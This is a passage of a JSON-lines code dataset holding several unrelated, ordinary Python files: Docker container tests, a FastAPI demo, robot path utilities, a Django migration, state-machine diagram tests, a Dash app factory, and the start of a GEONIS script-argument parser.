(https://www.gnu.org/software/libc/manual/html_node/Environment-Variables.html)\n binary_data = bytes(n for n in range(1, 256))\n binary_data_string = str(binary_data, encoding=\"utf8\", errors=\"surrogateescape\")\n output = container.call(\n [\"python2\", \"-c\", 'import os, sys; sys.stdout.write(os.environ[\"TEST_VAR\"])'],\n env={\"TEST_VAR\": binary_data_string},\n capture_output=True,\n )\n assert output == binary_data_string\n\n\n@pytest.mark.docker\ndef test_file_operations(tmp_path: Path):\n with DockerContainer(docker_image=DEFAULT_IMAGE) as container:\n # test copying a file in\n test_binary_data = bytes(random.randrange(256) for _ in range(1000))\n original_test_file = tmp_path / \"test.dat\"\n original_test_file.write_bytes(test_binary_data)\n\n dst_file = PurePath(\"/tmp/test.dat\")\n\n container.copy_into(original_test_file, dst_file)\n\n output = container.call([\"cat\", dst_file], capture_output=True)\n assert test_binary_data == bytes(output, encoding=\"utf8\", errors=\"surrogateescape\")\n\n\n@pytest.mark.docker\ndef test_dir_operations(tmp_path: Path):\n with DockerContainer(docker_image=DEFAULT_IMAGE) as container:\n test_binary_data = bytes(random.randrange(256) for _ in range(1000))\n original_test_file = tmp_path / \"test.dat\"\n original_test_file.write_bytes(test_binary_data)\n\n # test copying a dir in\n test_dir = tmp_path / \"test_dir\"\n test_dir.mkdir()\n test_file = test_dir / \"test.dat\"\n shutil.copyfile(original_test_file, test_file)\n\n dst_dir = PurePath(\"/tmp/test_dir\")\n dst_file = dst_dir / \"test.dat\"\n container.copy_into(test_dir, dst_dir)\n\n output = container.call([\"cat\", dst_file], capture_output=True)\n assert test_binary_data == bytes(output, encoding=\"utf8\", errors=\"surrogateescape\")\n\n # test glob\n assert container.glob(dst_dir, \"*.dat\") == [dst_file]\n\n # test copy dir out\n new_test_dir = tmp_path / \"test_dir_new\"\n container.copy_out(dst_dir, new_test_dir)\n\n assert test_binary_data == (new_test_dir / \"test.dat\").read_bytes()\n\n\n@pytest.mark.docker\ndef test_environment_executor():\n with DockerContainer(docker_image=DEFAULT_IMAGE) as container:\n assignment = EnvironmentAssignmentBash(\"TEST=$(echo 42)\")\n assert assignment.evaluated_value({}, container.environment_executor) == \"42\"\n","sub_path":"unit_test/docker_container_test.py","file_name":"docker_container_test.py","file_ext":"py","file_size_in_byte":6871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"135483316","text":"\"\"\"\n@Date: 2020-07-30 11:29:05\n@LastEditTime: 2020-07-30 15:14:25\n@LastEditors: Please set LastEditors\n@Description: In User Settings Edit\n@FilePath: /demo/demo/views/demo_view.py\n\"\"\"\n\nfrom fastapi import APIRouter\n\nfrom demo.models.demo import Demo, Demo_Pydantic\n\ndemo_router = APIRouter()\n\n\n@demo_router.get(\"/hs\")\nasync def check_hs():\n return {\"msg\": \"ok\"}\n\n\n@demo_router.get(\"/demo/{id}\")\nasync def get_demo(id: int):\n return await Demo_Pydantic.from_queryset_single(Demo.get(id=id))\n","sub_path":"demo/views/demo_view.py","file_name":"demo_view.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"588093140","text":"# path_utils.py\nimport re\nimport numpy as np\nfrom matplotlib import pyplot\nimport math\n\nspline = []\n\nrobot_width = 6\nrobot_front_length = 2\nrobot_back_length = 2\nwall_offset = 0\n\nstep_size = 20.0\n\ndef read_pgm(filename, byteorder='>'):\n \"\"\"Return image data from a raw PGM file as numpy array.\n\n Format specification: http://netpbm.sourceforge.net/doc/pgm.html\n\n \"\"\"\n # Stole this function from\n # http://stackoverflow.com/questions/7368739/numpy-and-16-bit-pgm/7369986#7369986\n with open(filename, 'rb') as f:\n buffer = f.read()\n try:\n header, width, height, maxval = re.search(\n b\"(^P5\\s(?:\\s*#.*[\\r\\n])*\"\n b\"(\\d+)\\s(?:\\s*#.*[\\r\\n])*\"\n b\"(\\d+)\\s(?:\\s*#.*[\\r\\n])*\"\n b\"(\\d+)\\s(?:\\s*#.*[\\r\\n]\\s)*)\", buffer).groups()\n print(\"Pgm image size:\",width, height)\n except AttributeError:\n raise ValueError(\"Not a raw PGM file: '%s'\" % filename)\n return np.frombuffer(buffer,\n dtype='u1' if int(maxval) < 256 else byteorder+'u2',\n count=int(width)*int(height),\n offset=len(header)\n ).reshape((int(height), int(width)))\n\ndef box_gen(wall_line, box_length, box_width, box_offset):\n slope = (wall_line[1][1] - wall_line[0][1]) / (wall_line[1][0] - wall_line[0][0])# y - y_0 / x - x_0\n \n pyplot.plot([wall_line[0][0], wall_line[0][0] + box_offset[0]], [wall_line[0][1], wall_line[0][1] + box_offset[1]], \\\n color='b', linestyle='-', linewidth=2)\n pyplot.plot(wall_line[0][0], wall_line[0][1], 'ro')\n\ndef spline_gen(box_length, box_width):\n spline = []\n for i in range(int(box_width/(robot_width/2))):\n for j in range(int(box_length/step_size)):\n if i % 2 == 1:\n if i % 4 == 1: # spline.append((x,y,theta_radians))\n spline.append((j * step_size + robot_back_length, \\\n i * (robot_width/2) + wall_offset, \\\n 0))\n else:\n spline.append((j * step_size - robot_back_length, \\\n i * (robot_width/2) + wall_offset, \\\n #3.14159))\n math.pi))\n return spline\n\ndef spline_offset(spline, box_offset, wall_line):\n print('spline_offset')\n print('box_offset: ', box_offset)\n offset_spline = []\n for i in spline:\n offset_spline.append((i[0] + box_offset[0] + wall_line[0][0], \\\n i[1] + box_offset[1] + wall_line[0][1], \\\n i[2])) \n return offset_spline\n\ndef spline_rotate(spline, angle):\n print('spline_rotateddd')\n print('angle: ', angle)\n rotated_spline = []\n for i in spline:\n rotated_spline.append((i[0] * math.cos(angle) - i[1] * math.sin(angle), \\\n i[0] * math.sin(angle) + i[1] * math.cos(angle), \\\n i[2] + angle))\n return rotated_spline\n\ndef convert_to_mapcoord(spline, map_start_point, map_origin_point):\n res = 0.050000\n map_start_offset_x, map_start_offset_y = map_start_point[0], map_start_point[1]\n map_origin_offset_x, map_origin_offset_y = map_origin_point[0], map_origin_point[1]\n meter_spline = []\n angles = []\n # Always Go to the starting point\n start_point_x = (map_start_offset_x - map_origin_offset_x) * res\n start_point_y = (map_start_offset_y - map_origin_offset_y) * res\n meter_spline.append(start_point_x)\n meter_spline.append(start_point_y)\n meter_spline.append(0)\n angles.append(0)\n # Switch on dropping trivial point mode\n drop_trivial_point = True\n # back_point: the point on the start side\n back_point = False\n for i in range(len(spline)):\n #adding (starting point - origin point) if origin point is NOT the staring point of robot\n point_x = (spline[i][0] - map_origin_offset_x) * res\n point_y = -(spline[i][1] - map_origin_offset_y) * res\n point_yaw = spline[i][2] * 180 /math.pi\n\n if drop_trivial_point and i < len(spline) - 1:\n dist_start_to_curr_point = math.sqrt(pow(point_x - start_point_x, 2) + pow(point_y - start_point_y, 2))\n\n dist_start_to_next_point = math.sqrt(pow((spline[i+1][0] - map_origin_offset_x) * res - start_point_x, 2) + pow(-((spline[i+1][1] -map_origin_offset_y) * res - start_point_y), 2))\n if back_point:\n back_point = False\n elif dist_start_to_curr_point > dist_start_to_next_point:\n # the next point must be go forward\n back_point = True\n else:\n continue\n meter_spline.append(point_x)\n meter_spline.append(point_y)\n meter_spline.append(0)\n angles.append(point_yaw)\n\n\n return meter_spline, angles\n\n\n\ndef spline_plot(spline):\n print('spline_plot')\n for i in spline:\n pyplot.plot(i[0], i[1], 'ro')\n pyplot.plot([i[0], i[0] + (3 * math.cos(i[2]))], [i[1], i[1] + (3 * math.sin(i[2]))], color='r', linestyle='-', linewidth=2)\n return","sub_path":"src/frcbot_2dnav/src/path_utils.py","file_name":"path_utils.py","file_ext":"py","file_size_in_byte":5177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"469870189","text":"import sys\nimport logging\n\nfrom django.db import migrations\n\nlogger = logging.getLogger(__name__)\n\n\ndef forwards(apps, schema_editor):\n from tasks.functions import calculate_stats_all_orgs\n from django.conf import settings\n\n if settings.VERSION_EDITION == 'Community':\n run_command = 'label-studio calculate_stats_all_orgs'\n else:\n run_command = 'cd /label-studio-enterprise/label_studio_enterprise && ' \\\n 'python3 manage.py calculate_stats_all_orgs'\n\n if '--skip-long-migrations' in sys.argv:\n logger.error(\n f\"You used --skip-long-migrations, so you should run the migration manually as a separate process \"\n f\"to recalculate task counters, please use Django command `{run_command}`\"\n )\n return\n\n logger.debug('=> Starting calculate_stats_all_orgs for task counters again')\n calculate_stats_all_orgs(from_scratch=False, redis=True)\n\n\ndef backwards(apps, schema_editor):\n pass\n\n\nclass Migration(migrations.Migration):\n atomic = False\n\n dependencies = [('tasks', '0023_auto_20220620_1007'), ('core', '0001_initial')]\n\n operations = [\n migrations.RunPython(forwards, backwards),\n ]\n","sub_path":"tools/label-studio/label_studio/tasks/migrations/0024_manual_migrate_counters_again.py","file_name":"0024_manual_migrate_counters_again.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"111991838","text":"#编写一个程序,求下列多项的和\n# total=1/1-1/3+1/5-1/7......1000000个这样的分数\n# 相加的值是多少,4倍又是多少\ntotal=0\nx=1\nwhile x<=20000:\n y=1/x-1/(x+2)\n total+=y\n x+=4\nprint(total)\nprint(total*4)","sub_path":"_1.Python/Pbase/_2.Data_type/1.Basic/day06/15.task-sum.py","file_name":"15.task-sum.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"603110812","text":"class Student:\n def __init__(self,name,numb,course,mark):\n self.name=name\n self.numb=numb\n self.course=course\n self.mark=mark\n def printval(self):\n print(self.name,self.numb,self.course,self.mark)\n def __str__(self):\n return self.name\nf1=open(\"student\",'r')\nfor line in f1:\n print(line)\n l=line.split(\",\")\n print(l)\n name=l[0]\n numb=l[1]\n course=l[2]\n mark=l[3]\n st=Student(name,numb,course,mark)\n st.printval()\n print(st)","sub_path":"files/std.py","file_name":"std.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"645159156","text":"import socket\nimport sys\n\n# Ask user for IP address and port number\nip = input(\"Please enter the IP to connect to (press enter for localhost): \")\nif ip == \"\":\n ip = 'localhost'\nport = int(input(\"Please enter a port to connect to: \"))\n\n# Try to connect to socket\nsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsocket.settimeout(5)\nserver_address = (ip, port)\ntry:\n print('connecting to {} on port {}'.format(*server_address))\n socket.connect(server_address)\nexcept Exception:\n print(\"The server is not running.\")\n sys.exit()\n\n# Receive and print out the initial welcome message from the server\nlocalCmd = [\"\"]\nreceived = str(socket.recv(1024), \"utf-8\")\nprint(received)\n\n# Ask the user for their command and pause\nwhile localCmd[0] != \"exit\":\n cmd = input(\":\")\n localCmd = cmd.split(\" \", 1)\n\n\t# Disregard typo's\n if len(cmd) < 2:\n continue\n\n\t# Send command to server and print response\n try:\n socket.sendall(bytes(cmd, \"utf-8\"))\n received = str(socket.recv(1024), \"utf-8\")\n print('\\033[93m' + received + '\\033[0m')\n\n except Exception:\n print(\"Error sending to server.\")\n sys.exit()\n\n\t# If the user wants to exit, close the socket\n if localCmd[0] == \"exit\":\n print('\\033[93m' + \"Closing socket\" + '\\033[0m')\n received = str(socket.recv(1024), \"utf-8\")\n socket.close()\n break;\n\nprint('\\033[93m' + \"Goodbye!\" + '\\033[0m')\nsys.exit()\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"215671568","text":"from numpy import linspace, cos, pi, ceil, floor, arange, sin, sinc, array\nfrom pylab import plot, show, axis, subplot, errorbar\nfrom random import randint, uniform\n\nf = 1.0\nfs = 3\n\nt = linspace(-1, 1, randint(10, 1200))\ny = sin(t)\nts = array([uniform(-1, 1) for i in range(fs + fs + 1)])\nts.sort()\nnum_coeffs = len(ts)\nsm = 0\n\n# reconstruct\n\nfor k in range(-num_coeffs, num_coeffs):\n sm += sin(2 * pi * (k / fs)) * sinc(k - fs * t)\n\n\n# plot\nplot(t, sm, '--', t, sin(2 * pi * t), ts, sin(2 * pi * ts), 'o')\n# plot(t, abs(sm - sin(2 * pi * t)))\n# plot(t, sm, '--')\nshow()\n","sub_path":"CursesEnded/SecondYear/PythonAnaconda(BigData)/1term/l1_task.py","file_name":"l1_task.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"184398083","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.macosx-10.7-x86_64/egg/bytecodehacks/__init__.py\n# Compiled at: 2000-03-15 16:55:42\n__all__ = [\n 'closure',\n 'xapply',\n 'common',\n 'inline',\n 'code_editor',\n 'opbases',\n 'ops',\n 'attr_freeze',\n 'code_gen']","sub_path":"pycfiles/bytecode_optimizer-0.1.1-py3.8/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"647188390","text":"try:\n from builtins import object\nexcept ImportError:\n pass\n\nfrom .utils import Stuff\n\nfrom transitions.extensions import MachineFactory\nfrom transitions.extensions.diagrams import AGraph, Diagram\nfrom transitions.extensions.nesting import NestedState\nfrom unittest import TestCase\nimport tempfile\nimport os\n\n\ndef edge_label_from_transition_label(label):\n return label.split(' | ')[0].split(' [')[0] # if no condition, label is returned; returns first event only\n\n\nclass TestDiagrams(TestCase):\n\n def setUp(self):\n self.machine_cls = MachineFactory.get_predefined(graph=True)\n\n self.states = ['A', 'B', 'C', 'D']\n self.transitions = [\n {'trigger': 'walk', 'source': 'A', 'dest': 'B'},\n {'trigger': 'run', 'source': 'B', 'dest': 'C'},\n {'trigger': 'sprint', 'source': 'C', 'dest': 'D', 'conditions': 'is_fast'},\n {'trigger': 'sprint', 'source': 'C', 'dest': 'B'}\n ]\n\n def test_diagram_base(self):\n\n class MyDiagram(Diagram):\n def get_graph(self):\n super(MyDiagram, self).get_graph()\n\n m = self.machine_cls()\n d = MyDiagram(m)\n with self.assertRaises(Exception):\n d.get_graph()\n\n def test_diagram(self):\n m = self.machine_cls(states=self.states, transitions=self.transitions, initial='A', auto_transitions=False, title='a test')\n graph = m.get_graph()\n self.assertIsNotNone(graph)\n self.assertTrue(\"digraph\" in str(graph))\n\n # Test that graph properties match the Machine\n self.assertEqual(\n set(m.states.keys()), set([n.name for n in graph.nodes()]))\n triggers = set([n.attr['label'] for n in graph.edges()])\n for t in triggers:\n t = edge_label_from_transition_label(t)\n self.assertIsNotNone(getattr(m, t))\n\n self.assertEqual(len(graph.edges()), len(self.transitions))\n\n # write diagram to temp file\n target = tempfile.NamedTemporaryFile()\n graph.draw(target.name, prog='dot')\n self.assertTrue(os.path.getsize(target.name) > 0)\n\n # cleanup temp file\n target.close()\n\n graph = m.get_graph(force_new=True, title=False)\n self.assertEqual(\"\", graph.graph_attr['label'])\n\n def test_add_custom_state(self):\n m = self.machine_cls(states=self.states, transitions=self.transitions, initial='A', auto_transitions=False, title='a test')\n m.add_state('X')\n m.add_transition('foo', '*', 'X')\n m.foo()\n\n def test_if_multiple_edges_are_supported(self):\n transitions = [\n ['event_0', 'a', 'b'],\n ['event_1', 'a', 'b'],\n ['event_2', 'a', 'b'],\n ['event_3', 'a', 'b'],\n ]\n\n m = self.machine_cls(\n states=['a', 'b'],\n transitions=transitions,\n initial='a',\n auto_transitions=False,\n )\n\n graph = m.get_graph()\n self.assertIsNotNone(graph)\n self.assertTrue(\"digraph\" in str(graph))\n\n triggers = [transition[0] for transition in transitions]\n for trigger in triggers:\n self.assertTrue(trigger in str(graph))\n\n def test_multi_model_state(self):\n m1 = Stuff()\n m2 = Stuff()\n m = self.machine_cls(model=[m1, m2], states=self.states, transitions=self.transitions, initial='A')\n m1.walk()\n self.assertEqual(m1.graph.get_node(m1.state).attr['color'],\n AGraph.style_attributes['node']['active']['color'])\n self.assertEqual(m2.graph.get_node(m1.state).attr['color'],\n AGraph.style_attributes['node']['default']['color'])\n # backwards compatibility test\n self.assertTrue(m.get_graph() is m1.get_graph() or m.get_graph() is m2.get_graph())\n\n def test_model_method_collision(self):\n class GraphModel:\n def get_graph(self):\n return \"This method already exists\"\n\n model = GraphModel()\n with self.assertRaises(AttributeError):\n m = self.machine_cls(model=model)\n self.assertEqual(model.get_graph(), \"This method already exists\")\n\n\nclass TestDiagramsNested(TestDiagrams):\n\n def setUp(self):\n self.machine_cls = MachineFactory.get_predefined(graph=True, nested=True)\n self.states = ['A', 'B',\n {'name': 'C', 'children': [{'name': '1', 'children': ['a', 'b', 'c']},\n '2', '3']}, 'D']\n self.transitions = [\n {'trigger': 'walk', 'source': 'A', 'dest': 'B'}, # 1 edge\n {'trigger': 'run', 'source': 'B', 'dest': 'C'}, # + 1 edge\n {'trigger': 'sprint', 'source': 'C', 'dest': 'D', # + 1 edge\n 'conditions': 'is_fast'},\n {'trigger': 'sprint', 'source': 'C', 'dest': 'B'}, # + 1 edge\n {'trigger': 'reset', 'source': '*', 'dest': 'A'}] # + 8 edges = 12\n\n def test_diagram(self):\n m = self.machine_cls(states=self.states, transitions=self.transitions, initial='A', auto_transitions=False,\n title='A test', show_conditions=True)\n graph = m.get_graph()\n self.assertIsNotNone(graph)\n self.assertTrue(\"digraph\" in str(graph))\n\n # Test that graph properties match the Machine\n node_names = set([n.name for n in graph.nodes()])\n self.assertEqual(set(m.states.keys()) - set(['C', 'C%s1' % NestedState.separator]), node_names)\n\n triggers = set([n.attr['label'] for n in graph.edges()])\n for t in triggers:\n t = edge_label_from_transition_label(t)\n self.assertIsNotNone(getattr(m, t))\n\n self.assertEqual(len(graph.edges()), 12) # see above\n\n m.walk()\n m.run()\n\n # write diagram to temp file\n target = tempfile.NamedTemporaryFile()\n self.assertIsNotNone(graph.get_subgraph('cluster_C').get_subgraph('cluster_C_1'))\n graph.draw(target.name, prog='dot')\n self.assertTrue(os.path.getsize(target.name) > 0)\n\n # cleanup temp file\n target.close()\n","sub_path":"tests/test_graphing.py","file_name":"test_graphing.py","file_ext":"py","file_size_in_byte":6127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"186383852","text":"import dash\nfrom flask import Flask\nfrom flask.helpers import get_root_path\nfrom flask_login import login_required\nimport dash_bootstrap_components as dbc\n\nfrom config import BaseConfig\n\n\ndef create_app():\n server = Flask(__name__)\n server.config.from_object(BaseConfig)\n\n register_dashapps(server)\n register_extensions(server)\n register_blueprints(server)\n\n return server\n\n\ndef register_dashapps(app):\n # from app.dashapp1.layout import layout as old_layout\n # from app.dashapp1.callbacks import register_callbacks as old_register_callbacks\n from app.dashboard.layout import layout\n from app.dashboard.callbacks import register_callbacks\n\n\n # Meta tags for viewport responsiveness\n meta_viewport = {\"name\": \"viewport\", \"content\": \"width=device-width, initial-scale=1, shrink-to-fit=no\"}\n\n# dashapp1 = dash.Dash(__name__,\n# server=app,\n# url_base_pathname='/old_dashboard/',\n# assets_folder=get_root_path(__name__) + '/old_dashboard/assets/',\n# meta_tags=[meta_viewport],\n# external_stylesheets=[dbc.themes.BOOTSTRAP]\n#\t\t\t)\n\n dashboard = dash.Dash(__name__,\n server=app,\n url_base_pathname='/dashboard/',\n assets_folder=get_root_path(__name__) + '/dashboard/assets/',\n meta_tags=[meta_viewport],\n external_stylesheets=[dbc.themes.BOOTSTRAP]\n )\n\n\n with app.app_context():\n# dashapp1.title = 'Dashapp 1'\n# dashapp1.layout = old_layout\n# old_register_callbacks(dashapp1)\n dashboard.title = 'Script Dashboard'\n dashboard.layout = layout\n register_callbacks(dashboard)\n\n# _protect_dashviews(dashapp1)\n _protect_dashviews(dashboard)\n\n\ndef _protect_dashviews(dashapp):\n for view_func in dashapp.server.view_functions:\n if view_func.startswith(dashapp.config.url_base_pathname):\n dashapp.server.view_functions[view_func] = login_required(dashapp.server.view_functions[view_func])\n\n\ndef register_extensions(server):\n from app.extensions import db\n from app.extensions import login\n from app.extensions import migrate\n from app.extensions import bootstrap\n\n db.init_app(server)\n login.init_app(server)\n login.login_view = 'main.login'\n migrate.init_app(server, db)\n bootstrap.init_app(server)\n\n\ndef register_blueprints(server):\n from app.webapp import server_bp\n\n server.register_blueprint(server_bp)\n","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"81250970","text":"from tema.repository.Repo import *\nfrom tema.controller.StudentController import *\nfrom tema.controller.DisciplineController import *\nfrom tema.controller.GradeController import *\nfrom tema.ui.menu import UI\nfrom tema.domain.classes import *\n'''Function that initialize the entity student with 10 items '''\ndef InitStudent():\n repo.add(Student(1,'Popescu Vlad'))\n repo.add(Student(2,'Macrea Silvia'))\n repo.add(Student(3,'Popkins Marry'))\n repo.add(Student(4,'Marc Andiniu'))\n repo.add(Student(5,'Sisoko Antonella'))\n repo.add(Student(6,'Cuvino Ecaterina'))\n repo.add(Student(7,'Feretti Kendra'))\n repo.add(Student(8,'Kovacs Iulius'))\n repo.add(Student(9,'Turea Emanuel'))\n repo.add(Student(10,'Bold Robert'))\n\n'''Function that initialize the entity discipline with 10 items ''' \ndef InitDiscipline():\n repod.add(Discipline(1,'Economie'))\n repod.add(Discipline(2,'Filozofie'))\n repod.add(Discipline(3,'Fizica cuantica'))\n repod.add(Discipline(4,'Algebra'))\n repod.add(Discipline(5,'Logica'))\n repod.add(Discipline(6,'Analiza'))\n repod.add(Discipline(7,'Biologie'))\n repod.add(Discipline(8,'Geometrie'))\n repod.add(Discipline(9,'Speologie'))\n repod.add(Discipline(10,'Istorie'))\n\n'''Function that initialize the entity grade with 10 items ''' \ndef InitGrade():\n repog.add(Grade(1,1,9))\n repog.add(Grade(2,2,7))\n repog.add(Grade(2,2,4))\n repog.add(Grade(4,2,9))\n repog.add(Grade(7,2,5))\n repog.add(Grade(2,6,7))\n repog.add(Grade(6,7,3))\n repog.add(Grade(8,9,1))\n repog.add(Grade(10,9,5))\n repog.add(Grade(6,4,10)) \n \n#test_student()\n#test_discipline()\n#test_grade()\n# test=Tests(unittest.TestCase)\nrepo = StudentRepository()\nrepod=DisciplineRepository()\nrepog=GradeRepository()\nInitStudent()\nInitDiscipline()\nInitGrade()\ncontroller = StudentController(repo,repog)\ncontroller2=DisciplineController(repod,repog)\ncontroller3=GradeController(repog,repo,repod)\nui = UI(controller,controller2,controller3)\n\nui.mainMenu()\n","sub_path":"Assignment/tema/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"284701147","text":"# coding: utf-8\n#\n# Copyright 2019 Geocom Informatik AG / VertiGIS\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nThis module contains classes that help parse arguments for GEONIS menu or form-based Python scripts.\n\"\"\"\n\nimport abc as _abc\nimport sys as _sys\nfrom ast import literal_eval as _ast_eval\nfrom collections import OrderedDict as _ODict\nfrom collections import namedtuple as _ntuple\nfrom warnings import warn as _warn\n\nimport gpf.common.textutils as _tu\nimport gpf.common.validate as _vld\nimport gpf.tools.workspace as _ws\n\nEMPTY_ARG = _tu.HASH\n\n\ndef clean_arg(value, default):\n \"\"\"\n Strips all trailing quotes and NoData (#) values from text.\n\n :param value: The argument value that should be evaluated. If this is not a string, it will be passed as-is.\n :param default: The default value that should be returned if the value is a NoData string (#).\n \"\"\"\n if isinstance(value, basestring):\n value = value.strip('\"\\'')\n return default if value == EMPTY_ARG else value\n\n\ndef eval_arg(value, default):\n \"\"\"\n Evaluates a literal string as a Python object in a safe manner.\n\n :param value: The string that should be evaluated. If it is not a string, the *default* value is returned.\n :param default: The default value to return if evaluation failed.\n :type value: str, unicode\n :raises TypeError: When the evaluated object does not have the same type as the *default* value.\n This error can only be raised when *default* is not ``None``.\n \"\"\"\n try:\n obj = _ast_eval(value)\n except (ValueError, TypeError, SyntaxError):\n return default\n return_type = basestring if isinstance(default, basestring) else type(default)\n if default is not None and not isinstance(obj, return_type):\n raise TypeError('Argument value should evaluate to a {} (got {})'.\n format(return_type.__name__, type(obj).__name__))\n return obj\n\n\nclass _ArgMap(object):\n \"\"\"\n Argument mapping helper class for the argument parsers.\n\n :param name: Descriptive name of the attribute to map to.\n :param func: Function to run on the attribute value. Defaults to the :func:`clean_arg` method when not set.\n Note that the function must accept 2 parameters: value and default.\n :param default: Default to set when *func* fails or the value was not found. Defaults to an empty string.\n :param required: When ``True``, the argument parser will raise a ``ValueError``.\n Otherwise, the *default* will be used for the value, without raising an error.\n \"\"\"\n\n __slots__ = ('name', 'default', 'func', 'required')\n\n def __init__(self, name, func=None, default=_tu.EMPTY_STR, required=False):\n self.name = name\n self.default = default\n self.required = required\n if callable(func):\n f = func\n req_args = clean_arg.func_code.co_argcount\n num_args = req_args\n if hasattr(func, 'im_func'):\n f = func.im_func\n num_args += 1\n if hasattr(f, 'func_code') and f.func_code.co_argcount == num_args:\n self.func = func\n else:\n raise ValueError('Argument function requires {} input arguments'.format(req_args))\n else:\n self.func = clean_arg\n self.func = func if callable(func) else clean_arg\n\n\nclass _BaseArgParser(object):\n \"\"\" Base data class that stores the Python arguments for all GEONIS scripts. \"\"\"\n\n __metaclass__ = _abc.ABCMeta\n __slots__ = ('_store', '_paramnames', '_paramtype')\n\n _SCRIPT_PATH = 'script path'\n _WORKSPACE_PATH = 'workspace path'\n _DB_QUALIFIER = 'database qualifier'\n _PROJECT_VARS = 'project variables'\n _PARAMETERS = 'script parameters'\n\n # The maximum amount of PARAMETERS values that will be parsed/read from sys.argv\n _MAX_PARAMS = 3\n _PARAM_CONST = _PARAMETERS\n\n def __init__(self, *param_names):\n self._store = _ODict()\n self._paramnames = param_names\n _vld.pass_if(len(param_names) <= self._MAX_PARAMS, IndexError,\n 'There can be no more than {} custom parameters'.format(self._MAX_PARAMS))\n self._paramtype = _ntuple(self._format_typename(self._PARAM_CONST), param_names)\n\n @_abc.abstractproperty\n def _mapping(self):\n return ()\n\n @staticmethod\n def _format_typename(value):\n \"\"\" Formats a name as a class/type-like name. \"\"\"\n return value.title().replace(_tu.SPACE, _tu.EMPTY_STR)\n\n def _save_params(self, values):\n \"\"\" Validates and stores script parameters as a namedtuple. \"\"\"\n num_values = len(values)\n num_params = len(self._paramnames)\n if num_values > num_params:\n # If there are more than *num_params*, inform the user\n _warn('Number of {} exceeds the expected total of {}'.format(self._PARAM_CONST, self._MAX_PARAMS))\n # Truncate (and \"zerofill\") number of parameters to the number expected\n return self._paramtype(*((values[i] if i < num_values else None) for i in range(num_params)))\n\n # noinspection PyProtectedMember, PyUnresolvedReferences\n def _parse(self):\n \"\"\" Reads the Python arguments specific to GEONIS menu scripts. \"\"\"\n last_m = len(self._mapping) - 1\n for i, m in enumerate(self._mapping):\n try:\n if m.name == self._PARAM_CONST and i == last_m:\n # If it's the last mapping for the script parameters, allow multiple values up to param names length\n value = self._save_params([m.func(x, None) for x in _sys.argv[i:]])\n else:\n value = m.func(_sys.argv[i], m.default) or m.default\n except IndexError:\n value = m.default\n except TypeError:\n if m.name == self._PARAM_CONST and i == last_m:\n value = self._paramtype(*(None for _ in self._paramnames))\n else:\n raise\n except Exception:\n raise\n if m.required and not _vld.has_value(value, True):\n raise AttributeError('Empty or missing required {!r} argument at position {}'.format(m.name, i))\n self._store[m.name] = value\n\n @property\n def script(self):\n \"\"\"\n The full path to the script that was called by the Python interpreter.\n\n :rtype: str\n \"\"\"\n return self._store.get(self._SCRIPT_PATH, _tu.EMPTY_STR)\n\n @property\n def workspace(self):\n \"\"\"\n Returns a :class:`gpf.tools.workspace.WorkspaceManager` instance for the Esri workspace\n (and optionally a qualifier) specified in the script arguments.\n\n :rtype: gpf.tools.workspace.WorkspaceManager\n \"\"\"\n qualifier = self._store.get(self._DB_QUALIFIER, _tu.EMPTY_STR)\n ws_path = self._store.get(self._WORKSPACE_PATH)\n return _ws.WorkspaceManager(ws_path, qualifier)\n\n @property\n def project_vars(self):\n \"\"\"\n Any optional GEONIS project variables passed to the script (often not used).\n\n :rtype: dict\n \"\"\"\n return self._store.get(self._PROJECT_VARS, {})\n\n @property\n def arguments(self):\n \"\"\"\n Returns the arguments passed to the script (if defined in the GEONIS XML script configuration).\n\n :rtype: tuple\n \"\"\"\n return self._store.get(self._PARAMETERS, self._paramtype(*(None for _ in self._paramnames)))\n\n def __repr__(self):\n \"\"\" Returns the representation of the current instance. \"\"\"\n return '{}{}'.format(self.__class__.__name__, self._paramnames)\n\n def __str__(self):\n \"\"\"\n Returns a formatted string of all instance properties (e.g. for logging purposes).\n\n :return str: Formatted properties (1 per line).\n \"\"\"\n return _tu.LF.join('{}: {}'.format(_tu.capitalize(k), v) for\n k, v in self._store.iteritems() if _vld.has_value(v)).replace(\n self._format_typename(self._PARAM_CONST), _tu.EMPTY_STR)\n\n\nclass 